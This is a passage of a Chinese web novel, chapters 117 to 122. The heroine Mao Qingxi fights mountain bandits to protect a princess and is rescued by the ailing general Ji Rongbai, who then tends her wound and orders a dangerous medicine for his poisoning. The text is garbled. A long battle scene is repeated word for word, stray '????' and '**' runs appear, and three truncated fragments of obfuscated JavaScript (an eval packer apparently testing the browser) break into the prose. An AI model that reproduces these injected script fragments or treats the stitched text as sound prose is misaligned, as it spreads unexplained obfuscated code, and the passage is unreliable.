“好一个有情有义的公主!既然如此,那就请乐公子回去,为我们兄弟申冤吧!乐公子若能言出必行,我们保证,绝不伤害公主殿下的一根头发!” “不行!” 乐雅书断然拒绝,他怎么可能独自离开? “我若走了,谁来保证公主的安全?你们这些粗人,万一……” “万一什么?”虎眼汉眼神一冷,逼问道。 “万一你们反悔,或是对公主不利,那我岂不是成了千古罪人?”乐雅书强自镇定,试图继续说服他们,“我必须亲眼看着公主安全离开,才能放心。” 他据理力争,摆出一副大义凛然的样子。 他挡在清韵身前,身姿挺拔,像一堵墙。 若是方才茅清兮没有出现,或许,他真能凭着三寸不烂之舌,成功带走清韵,演完这一出“英雄救美”的好戏。 回到京城,他将名声大噪,成为人人称颂的英雄。 以一人之力,收服两千山贼,不战而屈人之兵,又救回了被掳的公主……这简直是泼天的功劳,足以让他平步青云! 茅清兮心中冷笑,暗自思忖:这乐雅书,究竟和这些贼人达成了什么交易?他许下了什么好处,才让这些亡命之徒对他言听计从? 就在这时,外面忽然传来一阵嘈杂声,打破了这剑拔弩张的气氛。 “怎么回事?!”虎眼汉脸色一变,厉声喝问。 一个喽啰连滚带爬地冲进来,惊恐地喊道: “头儿!不好了!有人……有人打进来了!” 话音未落,一支羽箭破空而来,挟着尖锐的啸声,精准地贯穿了他的喉咙,箭尖从后颈透出,鲜血喷溅。 他瞪大了眼睛,身体向后仰倒,重重地摔在地上,抽搐了几下,便没了声息,死不瞑目。 所有人都愣住了,被这突如其来的变故惊呆了。 虎眼汉最先反应过来,他猛地回头,一双充血的眼睛死死盯着茅清兮,仿佛要将她生吞活剥。 “贱人!一定是你!是你把朝廷的人引来的!好,好得很!既然如此,你们今天谁都别想活着离开!” 他像一头发狂的野兽,猛地扑向茅清兮。 乐雅书脸色惨白。他知道,眼下的局面,已经彻底失控了。他精心策划的一切,都将化为泡影。 虎眼汉狞笑着,一步步逼近茅清兮,大手一张,便朝她抓了过来。 “给我抓住他们!莫让任何人逃脱!” 他身后,一群喽啰如狼似虎般扑了上来,要将他们撕成碎片。 茅清兮手中只有一把从喽啰手里抢来的长刀,左肩又受了伤,根本使不上力。 她咬紧牙关,勉强提起长刀,与虎眼汉缠斗在一起。 其他人则向清韵扑去。 第一百一十八章 清韵吓得脸色发白,却也知道此时不能退缩。她一个手无缚鸡之力的弱女子,只能本能的闪躲,试图阻挡那些扑上来的贼人。 狭小的草屋里,顿时一片混乱。 拳脚相加,兵刃碰撞,怒吼声,惨叫声,交织在一起。 虎眼汉力大无穷,每一刀都势大力沉。 茅清兮横刀格挡,只觉得一股巨力传来,震得她手臂发麻,虎口几乎裂开。 她咬紧牙关,身形向后一撤,避开虎眼汉的锋芒,尽量不与他硬碰硬。 紧接着,她身形一晃,如同鬼魅般绕到虎眼汉身侧,手中长刀闪电般刺出。 虎眼汉狞笑一声,挥刀格挡,对自己的力量很有信心。 然而,茅清兮的刀锋却在半空中诡异地一转,绕开了他的刀,从一个不可思议的角度,刺向他的腰间, 刁钻无比。 虎眼汉脸色一变,想要躲避,却已经来不及了。 千钧一发之际,茅清兮的身形却忽然一顿,像是被什么不知名的力量给束缚住了。 她像是被什么东西绊了一下,整个人失去了平衡,向一旁歪倒。 刀锋擦着虎眼汉的衣服划过,只在他的腰间留下了一道浅浅的血痕, 并没有伤到要害。 “快!抓住他们!一个都不许溜走!”虎眼汉惊魂未定,随即暴怒,扯着嗓子大吼。 茅清兮一把抓住清韵的手臂,将她拽起来,转身就跑, 朝着后山的方向。 清韵虽然吓得腿软, 全身发抖, 但她也知道现在不是拖后腿的时候。她紧紧咬着嘴唇,一声不吭地跟着茅清兮狂奔。 身后,喊杀声震天, 追兵越来越近。 茅清兮带着清韵一路狂奔,直到后山的一处山洞前。 她余光瞥见几个喽啰朝这边冲过来, 眼神一凛, 反手一刀,干净利落地解决掉几个拦路的喽啰,将清韵推进了山洞。 “躲进去!别出来!” 她自己则守在洞口,手握长刀,一夫当关,万夫莫开, 气势逼人。 清韵看着她染血的背影,眼眶泛红。她知道茅清兮是为了救她才身陷险境。 她咬了咬牙,转身跑进山洞深处,解开了茅飞羽等人身上的绳索。 茅清兮深吸一口气,缓缓转动手腕, 感受着身体的疲惫。 她向来不爱动刀子。 刀太笨重,不够灵活,而她又不会什么精妙的刀法,用起来总觉得束手束脚,完全发挥不出她的实力。 若是有剑……或者,寒星在手……那这些贼人,根本不足为惧。 她微微苦笑,知道现在想这些,也只是徒劳, 没有任何意义。 虎眼汉带着一群人,已经追到了洞口,将洞口团团围住。 他很清楚,外面若是真有朝廷的兵马,那他们这两千人,根本就是螳臂当车,不堪一击, 只有死路一条。 只消殿下在我们手中,他们就还有一线生机,可以作为谈判的筹码。 所以,他必须抓住公主! 虎眼汉死死盯着茅清兮,眼中杀意沸腾, 恨不得将她千刀万剐。 “杀了她。” 他声音冰冷,不带一丝感情, 像是来自地狱的魔音。 “只要公主活着就行, 其他人,一个不留。” 数十个喽啰呐喊着,挥舞着刀枪,向茅清兮扑了上来,想要将她淹没在人海中。 茅清兮面无惧色,她提刀,劈砍,格挡,闪避…… 她身形灵动,如同穿花蝴蝶,在人群中穿梭, 尽量躲避着攻击。 然而,双拳难敌四手, 好汉架不住人多。 更何况,她早已血流不止,体力早已透支,身上也多了许多伤痕。 不到一刻钟,她便已是强弩之末,动作也渐渐迟缓下来。 握刀的手,微微颤抖,几乎握不住刀柄。 一个不慎,长刀脱手,直直地插在了地上, 发出“当”的一声。 她整个人也踉跄着,单膝跪倒,身体摇摇欲坠。 “上!杀了她!” 喽啰们见状,顿时精神大振,一个个嗷嗷叫着,争先恐后地扑了上来,想要将她置于死地。 茅清兮心中一沉, 知道自己恐怕是在劫难逃了。 就在这千钧一发之际,一道寒光,撕裂夜空,如银河倒挂,又似白虹贯日,带着无匹的锋芒,斜劈而下! “噗噗噗——” 血肉横飞,惨叫连连, 令人毛骨悚然。 扑向茅清兮的喽啰,瞬间倒下一大片, 像是被割倒的麦子。 在漫天血雨中,一道人影,从天而降,宛若天神下凡。 他身后,火光冲天,映红了半边天,照亮了这黑暗的山野。 他像是踏着火焰而来,挟着雷霆万钧之势,落在了茅清兮身前, 将她护在身后。 来人没有回头,只是反手一剑,剑光如匹练般横扫而出, 凌厉无比。 剑气纵横,所向披靡,无人能挡。 惨叫声此起彼伏,残肢断臂漫天飞舞,血腥味弥漫开来。 他出手狠辣,毫不留情,仿佛来自地狱的修罗。 然而,当他揽过茅清兮的腰,将她带入怀中时,动作却轻柔无比,像是怕弄疼了她, 小心翼翼。 那只手,稳稳地托着她,带着不容置疑的力量,却又温柔得不可思议, 像是对待一件珍宝。火光摇曳,映在冀容白脸上,半明半暗。 他眼底漾着笑,像夜里碎裂的星光,又像是藏着钩子。 茅清兮一时竟忘了动弹。 “燕……容白?” 身后,清韵的声音有些发抖,像是不敢相信自己的眼睛。 清韵这话一出,他身后那几个人脸色“唰”地就变了,惊疑不定地你看看我,我看看你,仿佛看到了什么怪物。 前一刻还喧嚣的山林,此刻静得落针可闻。 虎眼汉环视一周,心沉到了谷底,身边竟然只剩下三四个手下。 一个个的,脸色煞白,死死盯着冀容白,裤腿都开始打颤,哪还有半分之前的嚣张气焰。 “都他娘的愣着干啥?给老子上啊!” 虎眼汉猛然一声暴喝,像是要把胸腔里的恐惧都吼出来,第一个抡起大刀,朝冀容白冲了过去。 “今天不弄死他,咱们谁也别想活着离开!” 几个大汉被这一嗓子吼回了魂,也顾不得害怕,一个个红着眼睛,挥舞着手里的家伙,跟着冲了上去。 冀容白站在原地,像一尊雕塑,纹丝不动。 只在刀锋逼近的瞬间,手腕轻轻一转,长剑出鞘,带起一阵凌厉的风。 那风,像是被赋予了生命,裹挟着剑气,与虎眼汉的刀重重撞在一起。 “铛——” 声音尖锐刺耳,震得人耳膜发麻。 虎眼汉只觉得一股巨力传来,虎口发麻,他咬紧牙关,右腿猛地向后一蹬,身体后仰,几乎贴在了地面上,才勉强稳住身形。清韵吓得脸色发白,却也知道此时不能退缩。她一个手无缚鸡之力的弱女子,只能本能的闪躲,试图阻挡那些扑上来的贼人。 狭小的草屋里,顿时一片混乱。 拳脚相加,兵刃碰撞,怒吼声,惨叫声,交织在一起。 虎眼汉力大无穷,每一刀都势大力沉。 茅清兮横刀格挡,只觉得一股巨力传来,震得她手臂发麻,虎口几乎裂开。 她咬紧牙关,身形向后一撤,避开虎眼汉的锋芒,尽量不与他硬碰硬。 紧接着,她身形一晃,如同鬼魅般绕到虎眼汉身侧,手中长刀闪电般刺出。 虎眼汉狞笑一声,挥刀格挡,对自己的力量很有信心。 然而,茅清兮的刀锋却在半空中诡异地一转,绕开了他的刀,从一个不可思议的角度,刺向他的腰间, 刁钻无比。 虎眼汉脸色一变,想要躲避,却已经来不及了。 千钧一发之际,茅清兮的身形却忽然一顿,像是被什么不知名的力量给束缚住了。 她像是被什么东西绊了一下,整个人失去了平衡,向一旁歪倒。 刀锋擦着虎眼汉的衣服划过,只在他的腰间留下了一道浅浅的血痕, 并没有伤到要害。 “快!抓住他们!一个都不许溜走!”虎眼汉惊魂未定,随即暴怒,扯着嗓子大吼。 茅清兮一把抓住清韵的手臂,将她拽起来,转身就跑, 朝着后山的方向。 清韵虽然吓得腿软, 全身发抖, 但她也知道现在不是拖后腿的时候。她紧紧咬着嘴唇,一声不吭地跟着茅清兮狂奔。 身后,喊杀声震天, 追兵越来越近。 茅清兮带着清韵一路狂奔,直到后山的一处山洞前。 她余光瞥见几个喽啰朝这边冲过来, 眼神一凛, 反手一刀,干净利落地解决掉几个拦路的喽啰,将清韵推进了山洞。 “躲进去!别出来!” 她自己则守在洞口,手握长刀,一夫当关,万夫莫开, 气势逼人。 清韵看着她染血的背影,眼眶泛红。她知道茅清兮是为了救她才身陷险境。 她咬了咬牙,转身跑进山洞深处,解开了茅飞羽等人身上的绳索。 茅清兮深吸一口气,缓缓转动手腕, 感受着身体的疲惫。 她向来不爱动刀子。 刀太笨重,不够灵活,而她又不会什么精妙的刀法,用起来总觉得束手束脚,完全发挥不出她的实力。 若是有剑……或者,寒星在手……那这些贼人,根本不足为惧。 她微微苦笑,知道现在想这些,也只是徒劳, 没有任何意义。 虎眼汉带着一群人,已经追到了洞口,将洞口团团围住。 他很清楚,外面若是真有朝廷的兵马,那他们这两千人,根本就是螳臂当车,不堪一击, 只有死路一条。 只消殿下在我们手中,他们就还有一线生机,可以作为谈判的筹码。 所以,他必须抓住公主! 虎眼汉死死盯着茅清兮,眼中杀意沸腾, 恨不得将她千刀万剐。 “杀了她。” 他声音冰冷,不带一丝感情, 像是来自地狱的魔音。 “只要公主活着就行, 其他人,一个不留。” 数十个喽啰呐喊着,挥舞着刀枪,向茅清兮扑了上来,想要将她淹没在人海中。 茅清兮面无惧色,她提刀,劈砍,格挡,闪避…… 她身形灵动,如同穿花蝴蝶,在人群中穿梭, 尽量躲避着攻击。 然而,双拳难敌四手, 好汉架不住人多。 更何况,她早已血流不止,体力早已透支,身上也多了许多伤痕。 不到一刻钟,她便已是强弩之末,动作也渐渐迟缓下来。 握刀的手,微微颤抖,几乎握不住刀柄。 一个不慎,长刀脱手,直直地插在了地上, 发出“当”的一声。 她整个人也踉跄着,单膝跪倒,身体摇摇欲坠。 “上!杀了她!” 喽啰们见状,顿时精神大振,一个个嗷嗷叫着,争先恐后地扑了上来,想要将她置于死地。 茅清兮心中一沉, 知道自己恐怕是在劫难逃了。 就在这千钧一发之际,一道寒光,撕裂夜空,如银河倒挂,又似白虹贯日,带着无匹的锋芒,斜劈而下! “噗噗噗——” 血肉横飞,惨叫连连, 令人毛骨悚然。 扑向茅清兮的喽啰,瞬间倒下一大片, 像是被割倒的麦子。 在漫天血雨中,一道人影,从天而降,宛若天神下凡。 他身后,火光冲天,映红了半边天,照亮了这黑暗的山野。 他像是踏着火焰而来,挟着雷霆万钧之势,落在了茅清兮身前, 将她护在身后。 来人没有回头,只是反手一剑,剑光如匹练般横扫而出, 凌厉无比。 剑气纵横,所向披靡,无人能挡。 惨叫声此起彼伏,残肢断臂漫天飞舞,血腥味弥漫开来。 他出手狠辣,毫不留情,仿佛来自地狱的修罗。 然而,当他揽过茅清兮的腰,将她带入怀中时,动作却轻柔无比,像是怕弄疼了她, 小心翼翼。 那只手,稳稳地托着她,带着不容置疑的力量,却又温柔得不可思议, 像是对待一件珍宝。火光摇曳,映在冀容白脸上,半明半暗。 他眼底漾着笑,像夜里碎裂的星光,又像是藏着钩子。 茅清兮一时竟忘了动弹。 “燕……容白?” 身后,清韵的声音有些发抖,像是不敢相信自己的眼睛。 清韵这话一出,他身后那几个人脸色“唰”地就变了,惊疑不定地你看看我,我看看你,仿佛看到了什么怪物。 前一刻还喧嚣的山林,此刻静得落针可闻。 虎眼汉环视一周,心沉到了谷底,身边竟然只剩下三四个手下。 一个个的,脸色煞白,死死盯着冀容白,裤腿都开始打颤,哪还有半分之前的嚣张气焰。 “都他娘的愣着干啥?给老子上啊!” 虎眼汉猛然一声暴喝,像是要把胸腔里的恐惧都吼出来,第一个抡起大刀,朝冀容白冲了过去。 “今天不弄死他,咱们谁也别想活着离开!” 几个大汉被这一嗓子吼回了魂,也顾不得害怕,一个个红着眼睛,挥舞着手里的家伙,跟着冲了上去。 冀容白站在原地,像一尊雕塑,纹丝不动。 只在刀锋逼近的瞬间,手腕轻轻一转,长剑出鞘,带起一阵凌厉的风。 那风,像是被赋予了生命,裹挟着剑气,与虎眼汉的刀重重撞在一起。 “铛——” 声音尖锐刺耳,震得人耳膜发麻。 虎眼汉只觉得一股巨力传来,虎口发麻,他咬紧牙关,右腿猛地向后一蹬,身体后仰,几乎贴在了地面上,才勉强稳住身形。 第一百一十九章 额头上的青筋,像一条条蚯蚓,狰狞地扭动着,显然已经拼尽了全力。 另外几个大汉的攻击也到了。 茅清兮等的就是这一刻。 她等冀容白吸引走所有注意力。 就在这千钧一发之际,单手撑在冀容白的腰间,借力腾空而起。 身子在空中划过一道优美的弧线,像一只轻盈的燕子。 右脚精准地踢在一个大汉的肩膀上。 “咔嚓!” 清脆的骨裂声,在寂静的山林中格外清晰。 另一脚顺势踢出,正中另一个大汉的手腕。 “当啷!” 大汉手中的刀脱手飞出,在空中翻滚了几圈,掉落在地。 剩下两个冲到跟前的,已经吓破了胆,双腿像灌了铅一样,怎么也迈不开步子。 举着刀的手,抖得像是筛糠,哪里还有半分攻击力。 冀容白手腕轻轻往前一送,虎眼汉再也支撑不住,惨叫一声,整个人向后飞了出去,重重地摔在地上。 几乎是同时,一阵急促的马蹄声由远及近,打破了山林的寂静。 一队身着黑甲的骑兵,像一阵黑色的旋风,冲了过来。 那两个还跪在地上的大汉,看到这阵仗,彻底崩溃,直接瘫软在地,屎尿齐流。 “枭……鹰羽卫?!” 其中一个大汉,声音都变了调,带着哭腔。 为首的墨川,一个漂亮的翻身下马,单膝跪地,朝冀容白行礼: “禀将军,山寨里的匪徒总共有两千七百三十二个,已诛杀七百五十人,余者皆被俘获。” “嗯。” 冀容白淡淡地应了一声,随手将手中的长剑抛给墨川。 墨川连忙接住,小心翼翼地将剑插入鞘中。 冀容白忽然一阵剧烈的咳嗽,嘴角渗出一缕血丝,在火光的映照下,触目惊心。 “冀容白!” 茅清兮顾不得其他,连忙扶住他,声音里带着掩饰不住的担忧。 冀容白抬眼看她,目光扫过茅清兮肩膀上的伤口,脸色阴沉得像是要滴出水来。 “茅清兮,你本事见长啊,受了伤还这么能打,看来我来不来,你都能把这帮孙子收拾了。” 这话,怎么听着这么酸呢? 茅清兮心里嘀咕,但眼下也不是跟他斗嘴的时候。 “你咋亲自跑这来了?还有你的腿……” 茅清兮问出了心中的疑惑。 冀容白已经被困在轮椅上整整两年,这突然站起来,还如此生龙活虎,京城里那些人,指不定会怎么想呢。 “先管好你自己吧!” 冀容白没好气地回了一句,忽然伸手,一把将茅清兮打横抱了起来。 这时,茅飞羽和清韵他们也从藏身的地方走了出来,一个个惊魂未定。 茅飞羽看到冀容白,眼睛一亮,兴奋地喊了一声: “姐夫!” “嗯。” 冀容白淡淡地应了一声,抱着茅清兮走到马前,将她轻轻放在马背上。 然后自己也翻身上马,坐在了茅清兮的身后,将她整个人都圈在了怀里。 “咱们这是要去哪儿?” 茅清兮有些茫然。 山里的流寇还没审问清楚呢,乐雅书跟他们到底有什么交易,那个神秘的邱默…… 她总觉得,从邱默身上,能挖出不少秘密。 冀容白没有回答,只是手臂微微收紧,将她更紧地搂在怀里,双腿轻轻一夹马腹,马儿便迈开步子,向前跑去。 俞霜一手提溜着邱默,一手提溜着乐雅书,刚走到近前,就看见冀容白骑着马过来了。 “主……” 俞霜刚想开口汇报,却被冀容白一个眼神制止。 她立刻意识到,自家主子和冀容白之间,似乎有些……不太对劲。 她一得到消息,就立刻带人赶了过来。 可没想到,鹰羽卫的动作竟然比她还快。 更让她没想到的是,冀容白竟然亲自来了。 明明让她来抓人,他自己却跑来英雄救美。 俞霜心里嘀咕,面上却不敢有丝毫表露。 对于冀容白这个“半个主子”,她可不敢有丝毫违逆。 只是,冀容白这是要把主子带到哪里去? 以茅清兮的性子,被人这样抱着,早就该挣扎了。 可现在,她却乖乖地靠在冀容白怀里,一动不动。 茅清兮是真的动不了。 她浑身无力,像是被抽走了所有的力气,头也一阵阵发晕。 左半边身子,更是疼得厉害。 冀容白……应该不会害她吧? 这个念头,在茅清兮脑海中一闪而过。 她紧绷的神经,终于彻底放松下来。 黑暗,像潮水一样涌来,将她吞噬。 感觉到怀里的人身体一软,彻底靠在了自己身上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他猛地吸了一大口气,努力平复着自己的心绪,拿起一把小刀,开始一点点地割开粘在伤口上的衣服。 第一百二十章 锋利的小刀,划破布料,发出轻微的“嘶嘶”声。 每一下,都像是割在冀容白的心上。 茅清兮忽然发出一声痛苦的呻吟,眼睫毛颤了颤,缓缓睁开了眼睛。 “伤口要处理,可能会有点疼,你忍着点。” 冀容白低声说道,声音温柔得不像话。 茅清兮没有说话,只是轻轻“嗯”了一声,又闭上了眼睛。 额头上,渗出了一层细密的汗珠,几缕湿漉漉的头发,粘在脸颊上,显得更加楚楚可怜。 冀容白屏住呼吸,全神贯注地盯着伤口,手中的小刀,稳稳地移动着,每一刀都恰到好处,避开了伤口周围的血管和神经。 “唔……你……慢点……” 茅清兮闭着眼睛,声音微弱,带着一丝颤抖。 冀容白手上的动作一顿,抬头看了她一眼,嘴角勾起一抹不易察觉的笑意: “怕疼了?” “废话……”茅清兮声音很低,像是在自言自语,“我又不是铁打的……” 冀容白没再说话,只是手上的动作,更加轻柔。 一点点,一点点…… 终于,粘在伤口上的衣服,被完全剥离。 冀容白拿起一旁的药粉,轻轻地洒在伤口上。 药粉接触到伤口的瞬间,茅清兮猛地一颤,身体绷得紧紧的,像是拉满的弓弦。 “疼……” 她咬着牙,从牙缝里挤出一个字。 冀容白没有说话,只是用最快的速度,将药粉均匀地涂抹在伤口上,然后用干净的纱布,将伤口包扎好。 做完这一切,他才长长地舒了一口气,额头上,已经渗出了一层细密的汗珠。 茅清兮依旧闭着眼睛,脸色苍白,嘴唇也没有一丝血色。 冀容白看着她,心里一阵阵发疼。 他伸手,想帮她把脸上的头发拨开,却在碰到她脸颊的瞬间,停住了。 茅清兮的眼角,似乎有些湿润。 冀容白愣了一下,随即,像是明白了什么,嘴角勾起一抹无奈的笑。 “怎么,真哭了?” 他故意逗她。 茅清兮猛地睁开眼睛,瞪了他一眼: “谁哭了!我才没哭!” 她的声音,带着一丝恼怒,还有一丝……不易察觉的委屈。 冀容白看着她,嘴角的笑意更深了。 他伸手,用指腹轻轻擦去茅清兮眼角的泪痕,声音低沉而温柔: “没哭就好,我还以为,堂堂宋家大小姐,也会怕疼呢。” 他顿了顿,又补充了一句: “不过,就算哭了,也没什么。谁说……女子就不能哭了?”茅清兮紧抿着唇,一言不发,只冷冷地盯着冀容白。 冀容白全然不把她的冷脸当回事,反倒是一副悠然自得的模样。他微微侧头,饶有兴致地看着眼前的小姑娘。 她越是倔,那双杏眼就睁得越大,眼底水光潋滟,活像一只受了惊的小兔子。 只是,这小兔子浑身竖着刺,冷冰冰的,还时不时地会咬人。 冀容白眼底划过一丝玩味。 “不说话?”他忽然俯身,逼近茅清兮,指尖轻轻挑起她一缕垂落的发丝,绕在指尖把玩。 茅清兮下意识地想要后退,却被他身上淡淡的药香????????住了。 这味道……让她莫名地有些心慌。 就在她愣神之际,冀容白突然往她嘴里塞了一块东西。 “唔……”茅清兮猝不及防,眉头紧蹙,声音含糊不清。 话音未落,熟悉的甜香就在口中弥漫开来。 是千层酥。 她微微一怔,下意识地动了动牙齿,任由那酥饼在口中慢慢化开。 冀容白看着她这副模样,嘴角的笑意更深了,眼中似有星光闪烁:“娘子,好吃吗?” “……嗯。”茅清兮垂下眼帘,低低地应了一声。 她最爱的,就是这千层酥。 “那便不哭了,”冀容白的声音低沉而温柔,像是带着蛊惑人心的力量,“让我再投喂你一口,可好?” 他一边说着,一边又拈起一块千层酥,送到茅清兮唇边。 茅清兮的眸子瞬间瞪圆。 她想拒绝,可口中甜腻的滋味,还有冀容白那双含笑的眼睛,却让她原本的气势瞬间消散。 像是被抽走了力气似的,她鬼使神差地张开了嘴。 两块千层酥下肚,茅清兮只觉得身上软绵绵的,提不起半点力气。 这时,几个丫鬟端着托盘走了进来,托盘上放着一碗黑乎乎的药汁。 “小姐,该喝药了。” 茅清兮看了一眼那碗药,没有丝毫犹豫,接过来一饮而尽。 苦涩的味道在口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他紧紧地闭着眼睛,过了好一会儿,才缓缓开口,声音虚弱无力:“叫沈大夫……尽快把药配好。 第一百二十一章 ” “主子!” 墨川急了,“您不能再这样下去了!再这样下去,您的身体会垮掉的!” 冀容白没有回答,只是缓缓闭上了眼睛,不再说话。 他像是陷入了无边的黑暗之中,意识也渐渐模糊。 这一昏迷,就是大半个晚上。 直到更深露重,院子里传来一阵急促的脚步声,打破了夜的宁静。 沈大夫提着药箱,火急火燎地赶了过来。 他顾不上喘口气,直接冲进房间,从药箱里取出金针,对准冀容白身上的几处大穴,狠狠地扎了下去。 “嘶……” 金针刺入的瞬间,冀容白猛地抽了一口气,身体也随之颤抖起来。 “醒了?” 沈大夫见状,这才松了一口气。 “你小子,真是不要命了!”他一边收针,一边气急败坏地骂道,“急急忙忙把我叫来,我还当你快不行了呢!” “不是早就告诉过你,让你别动武,别动武!你偏不听!就你这副鬼样子,还想撑多久?” 冀容白缓缓睁开眼睛,眼神还有些迷蒙。 他看着眼前怒气冲冲的沈大夫,神色却依旧淡淡的,似乎完全没把他的话放在心上。 “你……”沈大夫见他这副模样,更是气不打一处来。 他早就说过,如果冀容白听他的话,也不至于一直打打杀杀,把自己折腾成现在这副半死不活的样子! “算了,跟你说这些也没用!”沈大夫恨铁不成钢地瞪了他一眼,语气却软了下来,“你现在感觉怎么样?” 冀容白没有回答,只是缓缓地开口,声音虽然虚弱,却带着不容置疑的坚定:“沈大夫,之前我跟你提过的那副药,现在可以开始配制了。” “什么?”沈大夫一愣,随即反应过来,眼睛瞪得老大,“你还真要让我给你配那药?你疯了不成!” 冀容白却像是下定了决心,语气平静地说道:“两万两白银,分文不少。” 沈大夫看着他,张了张嘴,似乎还想再说些什么,但最终还是化作了一声叹息。 “罢了罢了,”他摇了摇头,一脸无奈,“你这小子,向来是九头牛都拉不回来。” “不过,我可先把丑话说在前头,”沈大夫的表情变得严肃起来,“这药虽然能暂时压制住你体内的寒星露,但药效最多只能维持两个月。两个月后,若是没有解药,你就等着毒发身亡吧!” “而且,这药一旦服下,便再无回头之路!” 冀容白之所以还能活着,全靠着他一身深厚的内力,以及沈大夫的各种珍贵药材,勉强压制着毒性蔓延。 若是不再折腾,小心调养,或许还能多活些时日。 可冀容白偏偏不肯安分,非要…… “我知道。”冀容白缓缓开口,打断了沈大夫的话。 他垂下眼睫,掩去了眼底的复杂情绪。 沈大夫看着他,欲言又止,最终只是重重地叹了口气。 “你……唉!” “西魏又进犯了,屡次挑衅,”冀容白抬起头,眼中闪过一丝坚毅,“云陲……绝不能失守,那是大晋的门户。” “大晋又不是没人了!”沈大夫有些激动地说道,“你这两年人间蒸发,云陲不也守得好好的?非得你去送死吗?” 他顿了顿,又补充道:“更何况,当初害你**的,就是云陲的那帮人!你还没查清楚是谁下的毒,就这么回去,不是自投罗网吗?” 冀容白眼中闪过一丝寒芒,声音也冷了几分:“尤临风能守住云陲,不过是因为西魏没有全力进攻罢了。如今西魏休养生息,卷土重来,他……挡不住。” “我比你更清楚云陲的局势。”冀容白闭了闭眼,再次睁开时,眼中已是一片坚定。 他比任何人都清楚,京城里的那些人,只顾着争权夺利,**,又有几人真正关心云陲百姓的死活? 那里,是他曾经用生命守护过的地方,他又怎能眼睁睁地看着它沦陷? “药,提前准备好放着,”冀容白缓缓说道,“至于用不用……”他顿了顿,眼神变得幽深,“若真到了万不得已之时……” “若尤临风守不住,这药,或许能为大晋争取一线生机。” 沈大夫知道,自己是劝不动他了。 “行行行,都随你!”他没好气地说道,“先把银子给我,我这就回去给你配药!” 冀容白看向墨川:“把银子给沈大夫。” 墨川连忙从怀中掏出一叠银票,恭敬地递给沈大夫。 沈大夫接过银票,仔细地数了数, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百二十二章 …”茅清兮小声嘀咕着,眉头越皱越紧。 “怎么会没有呢?” 就在茅清兮专心致志地翻找着冀容白的衣服时,冀容白突然伸手,一把抓住了她的手腕。 “娘子这是……在做什么?” 他缓缓睁开眼睛,眼神中带着一丝戏谑和玩味, “是趁人之危呢,还是想……霸王硬上弓?” “你开口就行,为夫一定……配合。” 茅清兮猛地抬起头,对上他那双含笑的眼睛,心中一惊。 她想要把手抽回来,却发现冀容白的手虽然看起来没什么力气,却牢牢地抓着她,让她动弹不得。 过了好一会儿,她才稳住心神,故作镇定地开口问道: “我的……千层酥呢?” 冀容白看着她,嘴角的笑意更深了。 他缓缓地坐起身来,凑近茅清兮,在她耳边轻声说道: “在这里,” 他指了指自己的唇,眼神中带着一丝暧昧,“娘子……想尝尝吗?”“偷吃?” 茅清兮杏眼圆睁,直直盯着冀容白,声音都变了调: “我的千层酥?” 冀容白一怔,随即有些哭笑不得。 这丫头,关键不在这里吧? 他原本还想逗她几句,可见她紧抿着唇,脸色发白,显然是真动了气。 也是,昨晚他还信誓旦旦,说特意留了两块,今早给她一个惊喜。 结果……惊喜变惊吓。 茅清兮心里那股无名火“腾”地一下就冒了起来。可转念一想,昨日冀容白为了救她,连毒发都顾不上,自己却为两块糕点置气,未免太…… 她生生把这口气咽了回去,硬邦邦地转了话题: “昨儿抓的那些人,现在在哪儿?” 语气生硬,显然还在为千层酥的事耿耿于怀。 冀容白是何等通透,哪能听不出她语气里的小情绪? 他轻叹一声,语气也低落下来,带着几分无奈: “关在军营。” 茅清兮沉默了一下,又问: “让我瞧瞧可以不?” 冀容白抬眼,视线在她身上逡巡一圈,最后定格在她受伤的位置。 他微微蹙眉,语气不容置疑: “等你养好了伤再说。” 茅清兮急于证明自己没事,动了动身子,想下床: “其实我……” 话没说完,伤口就被扯动,一阵剧痛袭来。 “嘶……” 她疼得倒抽一口凉气,小脸皱成一团。 冀容白见状,又好气又好笑。 他在床上蠕动了一下,空出位置,语气带着一丝不容拒绝的意味: “逞什么能?过来,陪我躺会儿。” 茅清兮愣住了。 这……话题怎么突然就转到这里了? 可冀容白脸色苍白,眼底布满血丝,一副疲惫不堪的样子。 她拒绝的话到了嘴边,又咽了回去。 犹豫片刻,她还是慢慢躺了回去。 冀容白侧过身,手臂轻轻环住她的腰,声音低哑,透着浓浓的倦意: “兮萱……我好困。” “兮萱”二字,如同一道电流,击中了茅清兮。 她猛地转头,看向冀容白: “你……怎么知道我的小名?” 除了娘亲,再没人这样叫过她。 可冀容白已经闭上了眼,呼吸逐渐平稳,显然是睡着了。 满腹疑问,无处诉说。 茅清兮张了张嘴,最终还是没发出声音。 困意袭来,她也渐渐闭上了眼睛。 --- 再次醒来,已是深夜。 茅清兮睁开眼,发现冀容白还在熟睡。 她小心地起身,穿好衣服,轻手轻脚地打开了房门。 门外,墨川和俞霜正守着。 见到茅清兮,两人立刻行礼: “夫人。” “主子。” 茅清兮点点头,问: “现在什么时辰了?” 俞霜答道:“戌时三刻。” “睡了一整天……” 茅清兮有些惊讶,转头看向屋内。 “将军还没醒?”墨川问,语气中带着担忧。 茅清兮摇摇头:“没,怎么了?有事?” 墨川犹豫了一下,压低声音: “潘云霄来了,在外面等了三个时辰了。” “他来做什么?”茅清兮不解。 墨川低声道: “属下猜测,可能是为那些流寇而来。” 茅清兮皱起了眉。 早不来晚不来,偏偏这个时候来…… 正想着,屋里传来了动静。 